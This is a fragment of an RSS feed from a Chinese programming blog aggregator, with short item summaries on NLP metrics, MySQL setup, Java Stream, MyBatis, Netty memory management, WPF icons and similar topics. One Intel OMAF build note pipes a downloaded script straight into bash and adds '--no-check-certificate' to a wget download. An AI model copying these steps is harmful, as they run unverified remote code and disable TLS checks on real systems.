lay-submit data-type=&#34;reload&#34; lay-filter=&#34;data-search-btn&#34;&amp;gt;&amp;lt;i class=&#34;layui-icon&#34;&amp;gt;&amp;lt;/i&amp;gt; 搜 索&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/fieldset&amp;gt; &amp;lt;!--注意此处table标签里的id--&amp;gt; &amp;lt;table class=&#34;layui-table layui-hide&#34; id=&#34;test&#34; lay-filter=&#34;</description>
    </item>
    <item>
      <title>NLP-基础任务-中文分词算法(4)-评价指标：精确率（“模型分词结果集”与“标准答案集”的交集/“模型分词结果集”）、召回率（“模型分词结果集”与“标准答案集”的交集/“标准答案集”）、F1</title>
      <link>https://bchobby.github.io/posts/5c94e21040aaa41e3ff635b8ee46d916/</link>
      <pubDate>Mon, 28 Feb 2022 19:54:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c94e21040aaa41e3ff635b8ee46d916/</guid>
      <description>一、分类模型中的：精确率、召回率、F1-Measure 准确率(Accuracy)：对于给定的测试数据集，分类器正确分类的样本数与总样本数之比。&#xA;A c c u r a c y = T P + T N T P + T N + F P + F N Accuracy=\cfrac{TP+TN}{TP+TN+FP+FN} Accuracy=TP+TN+FP+FNTP+TN​精确率(Precision)**：精指分类正确的正样本个数（TP）占分类器判定为正样本的样本个数（TP+FP）的比例。&#xA;P r e c i s i o n = T P T P + F P Precision=\cfrac{TP}{TP+FP} Precision=TP+FPTP​召回率(Recall)：召回率是指分类正确的正样本个数（TP）占真正的正样本个数（TP+FN）的比例。&#xA;R e c a l l = T P T P + F N Recall=\cfrac{TP}{TP+FN} Recall=TP+FNTP​F1-Measure值：就是精确率和召回率的调和平均值。&#xA;F 1 − M e a s u r e = 2 1 P r e c i s i o n + 1 R e c a l l \begin{aligned}F1-Measure=\cfrac{2}{\cfrac{1}{Precision}+\cfrac{1}{Recall}}\end{aligned} F1−Measure=Precision1​+Recall1​2​​ 每个评估指标都有其价值，但如果只从单一的评估指标出发去评估模型，往往会得出片面甚至错误的结论；只有通过一组互补的指标去评估模型，才能更好地发现并解决模型存在的问题，从而更好地解决实际业务场景中遇到的问题。</description>
    </item>
    <item>
      <title>开灯问题:有从1到n依次编号的n个同学和n 盏灯。</title>
      <link>https://bchobby.github.io/posts/451a7158e98b075e68afc83cb488af81/</link>
      <pubDate>Mon, 28 Feb 2022 19:03:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/451a7158e98b075e68afc83cb488af81/</guid>
      <description> 开灯问题:有从1到n依次编号的n个同学和n 盏灯。1号同学将所有的灯都关掉；2号同学将编号为2的倍数的灯都打开；3号同学则将编号为3的倍数的灯作相反处理（该号灯如打开的，则关掉；如关闭的，则打开）；以后的同学都将自己编号的倍数的灯，作相反处理。问经n个同学操作后，哪些灯是打开的?&#xA;#include&amp;lt;iostream&amp;gt; #define n 10 #include&amp;lt;cstring&amp;gt; using namespace std; int main(){ int lantern[n+1]; for(int t=0;t&amp;lt;n+1;t++) lantern[t]=1; for(int i=2;i&amp;lt;=n;i++){ for(int j=2;j&amp;lt;=n;j++){ if(j%i==0) lantern[j]=-lantern[j]; } } for(int k=1;k&amp;lt;=n;k++) cout&amp;lt;&amp;lt;lantern[k]&amp;lt;&amp;lt;&#39; &#39;; cout&amp;lt;&amp;lt;endl; return 0; } </description>
    </item>
    <item>
      <title>Intel OMAF install and compile note</title>
      <link>https://bchobby.github.io/posts/57909ce58e1135c0f752ce15799c4bea/</link>
      <pubDate>Mon, 28 Feb 2022 15:51:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57909ce58e1135c0f752ce15799c4bea/</guid>
      <description>Preparatory OS: ubuntu 18.04&#xA;1. update os&#xA;sudo apt update&#xA;sudo apt upgrade&#xA;2.insatll tools&#xA;sudo apt-get install libgoogle-glog-dev cmake clang curl -y&#xA;3.install docker&#xA;curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun&#xA;4.download source code git clone https://github.com/OpenVisualCloud/Immersive-Video-Sample.git&#xA;Install steps: 1.Immersive-Video-Sample/OMAF-Sample/server/DockFiles&#xA;epel-release-7-13.noarch.rpm CHANGE to&#xA;epel-release-7-14.noarch.rpm RUN wget -O - ${YASM_REPO} | tar xz &amp;amp;&amp;amp; \&#xA;CHANGE to&#xA;RUN wget -O - ${YASM_REPO} --no-check-certificate | tar xz &amp;amp;&amp;amp; \</description>
    </item>
    <item>
      <title>js前端打印</title>
      <link>https://bchobby.github.io/posts/501eacf1e25fd464269245c790360fbd/</link>
      <pubDate>Mon, 28 Feb 2022 12:16:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/501eacf1e25fd464269245c790360fbd/</guid>
      <description>1.js原生打印 不借助辅助工具，把css样式和内容直接带入到打印页面，但是会存在部分样式浏览器无法成功转换成pdf，也会存在样式紊乱问题，具体原因在代码注释中&#xA;function printTO() { let printHtml = &#39;&#39; // 下列获取会存在有样式紊乱问题，在不清楚css引用的顺序情况下，会存在有样式覆盖问题 // 建议确定样式的引入顺序，或样式只存在一种标签内 // 获取styles标签样式 const styles = document.querySelectorAll(&#39;style&#39;) styles.forEach(el =&amp;gt; { printHtml += el.outerHTML }) // 获取link标签样式 const links =document.querySelectorAll(&#39;link&#39;) links.forEach(el =&amp;gt; { el.outerHTML.indexOf(&#39;.css&#39;) &amp;gt; -1 ? printHtml += el.outerHTML : void(0) }) // 转换打印区域内容为String let div = document.createElement(&#39;div&#39;) // 需要复制打印区域节点，不能直接把区域append到div元素中，会把打印区域全部移入到div中 div.appendChild(document.getElementById(&#39;打印区域id&#39;).cloneNode(true)) printHtml += div.innerHTML const newWinDow = window.open(&#39;&#39;, &#39;打印&#39;, &#34;height=600, width=1200, top=50, left=100, toolbar=no, menubar=no, scrollbars=yes, resizable=yes, location=no, status=no&#34;</description>
    </item>
    <item>
      <title>centos 安装mysql</title>
      <link>https://bchobby.github.io/posts/2836195ba31ce06d81b626c681eade55/</link>
      <pubDate>Mon, 28 Feb 2022 11:34:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2836195ba31ce06d81b626c681eade55/</guid>
      <description>先删除 https://blog.csdn.net/typa01_kk/article/details/49057073&#xA;后安装 wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm yum -y install mysql57-community-release-el7-10.noarch.rpm yum -y install mysql-community-server systemctl status mysqld.service 或 service mysql start 想进入MySQL还得先找出此时root用户的密码，通过如下命令可以在日志文件中找出密码，有的可以直接进&#xA;grep “password” /var/log/mysqld.log&#xA;通过输入密码进入数据库&#xA;若报错 https://blog.csdn.net/qq_44378358/article/details/123178588</description>
    </item>
    <item>
      <title>mysql启动不开</title>
      <link>https://bchobby.github.io/posts/782081a3bbefba2c79b85a5a808669b6/</link>
      <pubDate>Mon, 28 Feb 2022 11:25:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/782081a3bbefba2c79b85a5a808669b6/</guid>
      <description>Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’&#xA;原因：&#xA;/etc/my.cnf 配置文件中设置了 [mysqld] 的参数 socket ，而没有设置[client]的参数socket&#xA;办法：&#xA;在/etc/my.cnf后面添加下面内容，其中socket的值要跟此文件上原始的socket的值保持一致&#xA;[client]&#xA;port=3306&#xA;socket=/var/lib/mysql/mysql.sock</description>
    </item>
    <item>
      <title>pyecharts如何给柱形图的每个柱子设置不同颜色</title>
      <link>https://bchobby.github.io/posts/32c3e176e33d5b9988861099b2b5c3ba/</link>
      <pubDate>Sun, 27 Feb 2022 21:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32c3e176e33d5b9988861099b2b5c3ba/</guid>
      <description>前言 有时，我们绘制图表需要特定指定柱子的颜色，以显示出它的重要性，本文使用Pyecharts提供的js代码的接口完成。&#xA;绘制效果 未指定颜色情况：&#xA;指定柱子颜色：&#xA;完整代码 https://www.cnblogs.com/cenjw/p/15943460.html</description>
    </item>
    <item>
      <title>Java8 Stream 流的创建、筛选、映射、排序、归约、分组、聚合、提取与组合、收集、接合、foreach遍历</title>
      <link>https://bchobby.github.io/posts/f05fa0be879a0141063fd85ecc6f091c/</link>
      <pubDate>Sun, 27 Feb 2022 18:15:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f05fa0be879a0141063fd85ecc6f091c/</guid>
      <description>目录&#xA;一 了解Stream&#xA;1 Stream概述&#xA;那么什么是Stream？&#xA;Stream可以由数组或集合创建&#xA;Stream有几个特性：&#xA;Stream流的起始操作&#xA;2 Stream的创建----Stream可以通过集合数组创建。&#xA;3、通过 java.util.Collection.stream() 方法 用map集合 ,间接创建生成流&#xA;stream和parallelStream的简单区分：&#xA;4、使用java.util.Arrays.stream(T[] array)方法 用数组 创建流&#xA;3 Stream的使用&#xA;类声明&#xA;类方法 注意： 这些方法是从 java.lang.Object 类继承来的。&#xA;Optional 实例&#xA;输出结果：&#xA;案例使用的员工类&#xA;3.1 遍历/匹配（foreach/find/match）&#xA;foreach()是终止操作，只能执行一次，之后再执行此操作，会报IllegalStateException异常&#xA;案例--- forEach() / findFirst() / findAny() / findFirst.get() / findAny.get() / anyMatch(）&#xA;二 Stream流常见的中间操作&#xA;3.2 筛选（filter）--进行筛选提取，不对元素进行修改附加操作&#xA;案例一：filter的常规中间操作&#xA;案例二：筛选出Integer集合中大于7的元素，并打印出来&#xA;案例三： 筛选员工中工资高于8000的人，并形成新的集合。 形成新集合依赖collect（收集）。&#xA;3.3 聚合（max/min/count)&#xA;3.4 映射(map/flatMap)--会对每一个元素进行修改等附加操作&#xA;3.5 归约(reduce)&#xA;3.6 收集(collect)&#xA;3.6.1 归集(toList/toSet/toMap)&#xA;toMap 的案例</description>
    </item>
    <item>
      <title>朋友创业2年，估值已达10亿，正招贤纳士，不错的机会</title>
      <link>https://bchobby.github.io/posts/b7984329ef54a44117522e144eca0746/</link>
      <pubDate>Sun, 27 Feb 2022 09:37:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7984329ef54a44117522e144eca0746/</guid>
      <description>公司主要成员是来自高通中国的IC创业团队，公司成立两年，估计已经达到10亿人民币，成长速度惊人。&#xA;截止目前，公司全职员工约60人，预计2022年底公司将成长至100人规模，团队成员中80%以上有硕士或博士学历。其中核心研发人员分别来自清华、北大、复旦、交大、中科院等且拥有丰富的芯片设计经验。&#xA;由于公司成长非常快，现有大量IC相关职位流出。注：属于内推性质，成功概率高。如果有兴趣请发简历到 &amp;lt;mliu＠wedosemi.com&amp;gt;。&#xA;职位涵盖从模拟到数字，从设计到有验证，从工程师到经理等各种职位。&#xA;职位详情大家可以点击左下角阅读原文直达官网查询。手机登陆网站的话网页显示有些问题，建议直接电脑打开网页：www.wedosemi.com，点击“招贤纳士”。&#xA;另外，也有很多校招职位，感兴趣的同学可以官网查看。&#xA;需要内推赶快发简历到 &amp;lt;mliu＠wedosemi.com&amp;gt;。</description>
    </item>
    <item>
      <title>使用Navicat生成ER关系图并导出</title>
      <link>https://bchobby.github.io/posts/e2412e727b5a8de91c1ac3bb86e7ed40/</link>
      <pubDate>Sun, 27 Feb 2022 09:19:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2412e727b5a8de91c1ac3bb86e7ed40/</guid>
      <description>1.打开已经设计好的表视图界面&#xA;2.点击右下角的按钮切换到ER视图&#xA;3.在数据库名字上，右击选择逆向数据库到模型&#xA;4.选择导出，导出格式有三种，pdf、svg和png</description>
    </item>
    <item>
      <title>Mybatis学习笔记</title>
      <link>https://bchobby.github.io/posts/fb3e6f3e8a5c750073e3af3aa4c7c415/</link>
      <pubDate>Sat, 26 Feb 2022 22:00:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb3e6f3e8a5c750073e3af3aa4c7c415/</guid>
      <description>一、MyBatis简介 1、MyBatis历史 MyBatis最初是Apache的一个开源项目iBatis, 2010年6月这个项目由Apache Software Foundation迁移到了Google Code。随着开发团队转投Google Code旗下， iBatis3.x正式更名为MyBatis。代码于2013年11月迁移到Github。&#xA;iBatis一词来源于“internet”和“abatis”的组合，是一个基于Java的持久层框架。 iBatis提供的持久层框架包括SQL Maps和Data Access Objects（DAO）。&#xA;2、MyBatis特性 1） MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架&#xA;2） MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集&#xA;3） MyBatis可以使用简单的XML或注解用于配置和原始映射，将接口和Java的POJO（Plain Old Java Objects，普通的Java对象）映射成数据库中的记录&#xA;4） MyBatis 是一个 半自动的ORM（Object Relation Mapping）框架&#xA;3、MyBatis下载 MyBatis下载地址：https://github.com/mybatis/mybatis-3&#xA;4、和其它持久化层技术对比 ● JDBC&#xA;SQL 夹杂在Java代码中耦合度高，导致硬编码内伤维护不易且实际开发需求中 SQL 有变化，频繁修改的情况多见代码冗长，开发效率低 ●Hibernate 和 JPA&#xA;操作简便，开发效率高程序中的长难复杂 SQL 需要绕过框架内部自动生产的 SQL，不容易做特殊优化基于全映射的全自动框架，大量字段的 POJO 进行部分映射时比较困难。反射操作太多，导致数据库性能下降 ●MyBatis&#xA;轻量级，性能出色SQL 和 Java 编码分开，功能边界清晰。Java代码专注业务、SQL语句专注数据开发效率稍逊于HIbernate，但是完全能够接受 二、搭建MyBatis 1、开发环境 IDE：idea 2019.2&#xA;构建工具：maven 3.5.4&#xA;MySQL版本：MySQL 5.7&#xA;MyBatis版本：MyBatis 3.5.7&#xA;2、创建maven工程 a&amp;gt;打包方式：jar</description>
    </item>
    <item>
      <title>【Pycharm 学习】Pycharm debug时变量值显示不出或者加载不出</title>
      <link>https://bchobby.github.io/posts/30a60160bdec807cebed9bb9ca3ed38f/</link>
      <pubDate>Sat, 26 Feb 2022 15:54:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30a60160bdec807cebed9bb9ca3ed38f/</guid>
      <description>Setting --&amp;gt; python debugger --&amp;gt; Gevent compatible 勾选后重跑&#xA;如下图：</description>
    </item>
    <item>
      <title>dubbo admin 可视化管理</title>
      <link>https://bchobby.github.io/posts/c43572e24b17ce9999d7d62408ed0eb5/</link>
      <pubDate>Sat, 26 Feb 2022 14:25:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c43572e24b17ce9999d7d62408ed0eb5/</guid>
      <description>dubbo admin 可视化管理 官网：https://dubbo.apache.org/zh/docsv2.7/admin/ops/&#xA;docker 镜像：https://hub.docker.com/r/apache/dubbo-admin&#xA;dubbo admin 安装 下载镜像&#xA;docker pull apache/dubbo-admin 配置文件&#xA;# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the &#34;License&#34;); you may not use this file except in compliance with # the License.</description>
    </item>
    <item>
      <title>IDEAMaven报错Could not transfer artifact错误</title>
      <link>https://bchobby.github.io/posts/01d3f3f5e61537ac0f2a6f35fa3a0147/</link>
      <pubDate>Fri, 25 Feb 2022 20:52:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01d3f3f5e61537ac0f2a6f35fa3a0147/</guid>
      <description>Could not transfer artifact org.springframework.boot:spring-boot-starter-data-mongodb:pom:2.6.1 from/to aliyunmaven (https://maven.aliyun.com/repository/public): transfer failed for https://maven.aliyun.com/repository/public/org/springframework/boot/spring-boot-starter-data-mongodb/2.6.1/spring-boot-starter-data-mongodb-2.6.1.pom 原因竟然真的是因为校园网不行，使用手机流量就解决了，废了一天。。。</description>
    </item>
    <item>
      <title>Windows 脑增加静态路由（双网卡或双IP）</title>
      <link>https://bchobby.github.io/posts/3f96fb901b803e8c927cb2a1d82fb76b/</link>
      <pubDate>Fri, 25 Feb 2022 17:28:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f96fb901b803e8c927cb2a1d82fb76b/</guid>
      <description>环境：当电脑有双网卡或者双IP时，需要增加静态路由来同时访问2个网络&#xA;网卡2配置：IP：192.168.1.7 掩码：255.255.255.0 网关：192.168.1.1&#xA;网卡2配置：IP：10.253.251.6 掩码：255.255.255.0 （不配置网关）&#xA;步骤：&#xA;1、首先在“运行”窗口输入cmd（按WIN+R打开运行窗口），然后回车进入命令行，输入 route add 10.253.251.0 mask 255.255.255.0 -p 192.254.1.1。其中10.253.251.0是源地址，255.255.255.0是源地址掩码，192.254.1.1是目标地址；&#xA;2、输入 route print，然后回车出现图2内容。图2中红线的内容就是我们刚才添加的路由；&#xA;3、把这条命令 route add 10.253.251.0 mask 255.255.255.0 -p 192.254.1.1 中的add 改成 delete ，然后回车就可以。&#xA;注意：命令中有 -p 表示永久；没有 -p 表示临时，重启就命令就失效了。</description>
    </item>
    <item>
      <title>UltraISO制作大于4G文件的光盘映像可启动U盘</title>
      <link>https://bchobby.github.io/posts/32f01003e28157eac52c1095fa7966c5/</link>
      <pubDate>Fri, 25 Feb 2022 14:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32f01003e28157eac52c1095fa7966c5/</guid>
      <description>在制作包含大于4G的文件的启动U盘时，经常发生制作后无法安装的情况，下面就给大家介绍一下有关大于4G的文件的光盘映像如何制作U盘启动盘，需要的朋友可以看看&#xA;无法启动原因：在Windows操作系统中常用的文件系统(即通常我们说的磁盘格式，如U盘是FAT32格式的等)只要有FAT32、NTFS等。对于FAT32文件系统，其缺点不能存储超过4G的文件，这就导致映像中的install.wim大于4G文件，无法被刻录到U盘里&#xA;解决办法：将u盘改为NTFS文件系统&#xA;步骤：&#xA;1、按正常步骤制作U盘启动盘，但在刻录前将大于4G的install.wim 文件删除，如下图&#xA;2、制作完成后，将U盘转换为NTFS文件系统，方法是：管理员身份运行CMD或快捷键WIN+R，然后输入如下命令convert x: /fs:ntfs(x为U盘的盘符)，回车运行即可。&#xA;3、解压ISO镜像或者通过UltraISO找到ISO中的sources目录里的install.wim，提取到U盘的相应目录即可!等待写入完成后就可以使用U盘安装新系统了。</description>
    </item>
    <item>
      <title>数据库四大范式判断</title>
      <link>https://bchobby.github.io/posts/e7ac7a2beb37b80108518771811a40f8/</link>
      <pubDate>Fri, 25 Feb 2022 12:46:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7ac7a2beb37b80108518771811a40f8/</guid>
      <description>1NF,2NF,3NF,BCNF范式判断方法 判断方法如下图所示，关键是找出候选键和非键属性（下面会详细介绍）。&#xA;部分依赖：&#xA;AB-&amp;gt;C B-&amp;gt;C;即C部分依赖AB 传递依赖：C传递依赖于A&#xA;一、求出候选键和非键 候选键定义：若关系中的某一属性组的值能唯一地标识一个元组，则称该属性组为候选键。候选键的闭包为U。&#xA;求出候选键步骤：&#xA;（1）找出只在左边出现的项（如果没有跳到步骤2）并判断是否能导出所有项。如果可以则这个项为候选键不进行步骤（2）。&#xA;（2）找出在左右两边都出现的项与（1）找出的项组合并判断是否能导出所有项，能导出所有项的成为候选键。&#xA;非键属性：不包含在候选键中的属性为非主属性。&#xA;注意：候选键不唯一&#xA;**例子**：F={B-&amp;gt;D,D-&amp;gt;B,AB-&amp;gt;C} 步骤1：找出A，A无法导出所有项所以进行步骤2 步骤2：找出B，D与A组合成AB,AD。因AB,AD能导出所有项，即AB,AD为候选键。 C为非键属性 **例子**：F={A-&amp;gt;B,B-&amp;gt;C} 步骤1：找出A，A能导出所有项即A为候选键。 二、例题 1.F={B-&amp;gt;D,D-&amp;gt;B,AB-&amp;gt;C} 1°：候选键为AB和AD，非键为C；&#xA;2°：C完全依赖于AB符合2NF;&#xA;3°：C不具备传递依赖候选键符合3NF；&#xA;4°：依赖项的左边不全是候选键，即最高范式为3NF;&#xA;2.F={A-&amp;gt;B,B-&amp;gt;A,A-&amp;gt;C} 1°：候选键为A和B，非键为C；&#xA;2°：C完全依赖于A符合2NF;&#xA;3°：C不具备传递依赖候选键符合3NF；&#xA;4°：依赖项的左边全是候选键，即最高范式为BCNF;</description>
    </item>
    <item>
      <title>C# 在WPF中使用“FontAwesome”字体图标</title>
      <link>https://bchobby.github.io/posts/710fbe08008485351a3dceda81ac505c/</link>
      <pubDate>Fri, 25 Feb 2022 11:43:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/710fbe08008485351a3dceda81ac505c/</guid>
      <description> 一、下载FontAwesome FontAwesome下载地址&#xA;进入网站后点击立即下载。&#xA;下载之后解压下载的压缩包：&#xA;至此，我们已经下载好。&#xA;二、在WPF中引用 ①引用fontawesome-webfont.ttf字体文件 在WPF项目中新建文件夹，把解压缩后的文件夹中的 fonts→fontawesome-webfont.ttf文件放到我们在WPF中创建的文件夹中。例如我放在Reference→Icon文件夹中。记住放的文件夹中，后续引用要知道。&#xA;②将字体文件以资源的形式生成。 如图所示：&#xA;右键 fontsfontawesome-webfont.ttf —— 属性&#xA;复制到输出目录：如果较新则复制 或者 始终复制&#xA;生成操作：资源（resources）&#xA;③在项目中引用 在一个页面、窗体或者是控件中，添加一个全局引用。&#xA;&amp;lt;Window.Resources&amp;gt; &amp;lt;Style x:Key=&#34;FontAwesome&#34;&amp;gt; &amp;lt;Setter Property=&#34;TextElement.FontFamily&#34; Value=&#34;pack://application:,,,/Reference/Icon/#FontAwesome&#34; /&amp;gt; &amp;lt;/Style&amp;gt; &amp;lt;/Window.Resources&amp;gt; 三、选择字体图标并应用 打开我们刚刚的下载界面,选择一个我们需要的图标，复制名称。&#xA;例如我选取QQ这个图标，复制之后为“fa-qq”&#xA;接下来我们打开压缩包中的 css→font-awesome.css&#xA;我们用记事本打开即可，打开之后我们按Ctrl+F进行查找，输入我们刚刚复制的“fa-qq”，即可找到。&#xA;如图所示：&#xA;然后我们把content的内容复制：&#xA;复制结果为：\f1d7&#xA;由于WPF不能识别到“\” 所以我们将“\”替换为“&amp;amp;#x”再在最后加分号“;”。&#xA;最后变为：&#xA;&amp;amp;#xf1d7; 最后我们在所有显示内容的地方即可已用字体图标；&#xA;例如：&#xA;&amp;lt;Button Content=&#34;&amp;amp;#xf1d6;QQ&#34; Style=&#34;{DynamicResource FontAwesome}&#34; Margin=&#34;42,454,342,76&#34; Background=&#34;White&#34; Width=&#34;113&#34; Height=&#34;48&#34; FontSize=&#34;20&#34;/&amp;gt; 显示效果：&#xA;注意引用字体图标要添加之前设置好的全局引用。&#xA;Style=&#34;{DynamicResource FontAwesome}&#34; </description>
    </item>
    <item>
      <title>C# .net 6 通用文件哈希修改 项目源码（快速开发框架开源版）</title>
      <link>https://bchobby.github.io/posts/09ce6b66e902a32004ebec9e556069f1/</link>
      <pubDate>Fri, 25 Feb 2022 11:31:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09ce6b66e902a32004ebec9e556069f1/</guid>
      <description>源码下载地址见文章末尾&#xA;①基于最新.net 6 winform（C#语言，需要使用VS2022编译）框架开发的文件哈希修改工具，可用于各种文件的哈希修改。&#xA;②项目源码没有任何封装，全部开源（UI框架使用开源项目）。&#xA;③适合有C#语言基础的人群使用。&#xA;④通过学习本项目可以学习到快速开发框架的全部技巧。&#xA;⑤本项目可以作为快速开发框架模板，只需简单修改就可以开发出自己的软件工具。&#xA;源码下载地址</description>
    </item>
    <item>
      <title>java培训：Netty的内存管理</title>
      <link>https://bchobby.github.io/posts/5ed0abebc6d66d328fab3250edcceacc/</link>
      <pubDate>Fri, 25 Feb 2022 11:26:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ed0abebc6d66d328fab3250edcceacc/</guid>
      <description>前言&#xA;正是 Netty 的易用性和高性能成就了 Netty，让其能够如此流行。而作为一款通信框架，首当其冲的便是对 IO 性能的高要求。&#xA;不少读者都知道 Netty底层通过使用Direct Memory，减少了内核态与用户态之间的内存拷贝，加快了IO速率。但是频繁的向系统申请Direct Memory，并在使用完成后释放本身就是一件影响性能的事情。为此，Netty内部实现了一套自己的内存管理机制，在申请时，Netty会一次性向操作系统申请较大的一块内存，然后再将大内存进行管理，按需拆分成小块分配。而释放时，Netty并不着急直接释放内存，而是将内存回收以待下次使用。&#xA;这套内存管理机制不仅可以管理Directory Memory，同样可以管理Heap Memory。&#xA;内存的终端消费者——ByteBuf&#xA;这里，我想向读者们强调一点，ByteBuf和内存其实是两个概念，要区分理解。&#xA;ByteBuf是一个对象，需要给他分配一块内存，它才能正常工作。&#xA;而内存可以通俗的理解成我们操作系统的内存，虽然申请到的内存也是需要依赖载体存储的:堆内存时，通过byte[]， 而Direct内存，则是Nio的ByteBuffer(因此Java使用Direct Memory的能力是JDK中Nio包提供的)。&#xA;为什么要强调这两个概念，是因为Netty的内存池(或者称内存管理机制)涉及的是针对内存的分配和回收，而Netty的ByteBuf的回收则是另一种叫做对象池的技术(通过Recycler实现)。&#xA;虽然这两者总是伴随着一起使用，但这二者是独立的两套机制。可能存在着某次创建ByteBuf时，ByteBuf是回收使用的，而内存却是新向操作系统申请的。也可能存在某次创建ByteBuf时，ByteBuf是新创建的，而内存却是回收使用的。&#xA;因为对于一次创建过程而言，可以分成三个步骤：&#xA;获取ByteBuf实例(可能新建，也可能是之间缓存的)向Netty内存管理机制申请内存(可能新向操作系统申请，也可能是之前回收的)将申请到的内存分配给ByteBuf使用 本文只关注内存的管理机制，因此不会过多的对对象回收机制做解释。&#xA;Netty中内存管理的相关类&#xA;Netty中与内存管理相关的类有很多。框架内部提供了PoolArena,PoolChunkList,PoolChunk,PoolSubpage等用来管理一块或一组内存。&#xA;而对外，提供了ByteBufAllocator供用户进行操作java培训。&#xA;接下来，我们会先对这几个类做一定程度的介绍，在通过ByteBufAllocator了解内存分配和回收的流程。&#xA;为了篇幅和可读性考虑，本文不会涉及到大量很详细的代码说明，而主要是通过图辅之必要的代码进行介绍。&#xA;针对代码的注解，感兴趣的网友可加我微信：xttblog2，免费获取！&#xA;PoolChunck——Netty向OS申请的最小内存&#xA;上文已经介绍了，为了减少频繁的向操作系统申请内存的情况，Netty会一次性申请一块较大的内存。而后对这块内存进行管理，每次按需将其中的一部分分配给内存使用者(即ByteBuf)。这里的内存就是PoolChunk,其大小由ChunkSize决定(默认为16M，即一次向OS申请16M的内存)。&#xA;Page——PoolChunck所管理的最小内存单位&#xA;PoolChunk所能管理的最小内存叫做Page，大小由PageSize(默认为8K)，即一次向PoolChunk申请的内存都要以Page为单位(一个或多个Page)。&#xA;当需要由PoolChunk分配内存时，PoolChunk会查看通过内部记录的信息找出满足此次内存分配的Page的位置，分配给使用者。&#xA;PoolChunck如何管理Page&#xA;我们已经知道PoolChunk内部会以Page为单位组织内存，同样以Page为单位分配内存。&#xA;那么PoolChunk要如何管理才能兼顾分配效率(指尽可能快的找出可分配的内存且保证此次分配的内存是连续的)和使用效率(尽可能少的避免内存浪费，做到物尽其用)的？&#xA;Netty采用了Jemalloc的想法。&#xA;首先PoolChunk通过一个完全二叉树来组织内部的内存。以默认的ChunkSize为16M, PageSize为8K为例，一个PoolChunk可以划分成2048个Page。将这2048个Page看作是叶子节点的宽度，可以得到一棵深度为11的树(2^11=2048)。&#xA;我们让每个叶子节点管理一个Page,那么其父节点管理的内存即为两个Page(其父节点有左右两个叶子节点)，以此类推，树的根节点管理了这个PoolChunk所有的Page(因为所有的叶子结点都是其子节点)，而树中某个节点所管理的内存大小即是以该节点作为根的子树所包含的叶子节点管理的全部Page。&#xA;这样做的好处就是当你需要内存时，很快可以找到从何处分配内存（你只需要从上往下找到所管理的内存为你需要的内存的节点，然后将该节点所管理的内存分配出去即可)，并且所分配的内存还是连续的(只要保证相邻叶子节点对应的Page是连续的即可)。&#xA;上图中编号为512的节点管理了4个Page，为Page0, Page1, Page2, Page3(因为其下面有四个叶子节点2048，2049，2050， 2051)。&#xA;而编号为1024的节点管理了2个Page，为Page0和Page1(其对应的叶子节点为Page0和Page1)。&#xA;当需要分配32K的内存时，只需要将编号512的节点分配出去即可(512分配出去后会默认其下所有子节点都不能分配)。而当需要分配16K的内存时，只需要将编号1024的节点分配出去即可(一旦节点1024被分配，下面的2048和2049都不允许再被分配)。&#xA;了解了PoolChunk内部的内存管理机制后，读者可能会产生几个问题：&#xA;PoolChunk内部如何标记某个节点已经被分配？当某个节点被分配后，其父节点所能分配的内存如何更新？即一旦节点2048被分配后，当你再需要16K的内存时，就不能从节点1024分配，因为现在节点1024可用的内存仅有8K。 为了解决以上这两点问题，PoolChunk都是内部维护了的byte[] memeoryMap和byte[] depthMap两个变量。&#xA;这两个数组的长度是相同的，长度等于树的节点数+1。因为它们把根节点放在了1的位置上。而数组中父节点与子节点的位置关系为:&#xA;假设parnet的下标为i,则子节点的下标为2i和2i+1&#xA;用数组表示一颗二叉树，你们是不是想到了堆这个数据结构。&#xA;已经知道了两个数组都是表示二叉树，且数组中的每个元素可以看成二叉树的节点。那么再来看看元素的值分别代码什么意思。&#xA;对于depthMap而言，该值就代表该节点所处的树的层数。例如：depthMap[1] == 1，因为它是根节点，而depthMap[2] = depthMap[3] = 2，表示这两个节点均在第二层。由于树一旦确定后，结构就不在发生改变，因此depthMap在初始化后，各元素的值也就不发生变化了。&#xA;而对于memoryMap而言，其值表示该节点下可用于完整内存分配的最小层数(或者说最靠近根节点的层数)。&#xA;这话理解起来可能有点别扭，还是用上文的例子为例。</description>
    </item>
    <item>
      <title>文献管理工具EndNote使用</title>
      <link>https://bchobby.github.io/posts/d0975217bd96043ce1238ae5cf4f0a63/</link>
      <pubDate>Thu, 24 Feb 2022 18:41:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0975217bd96043ce1238ae5cf4f0a63/</guid>
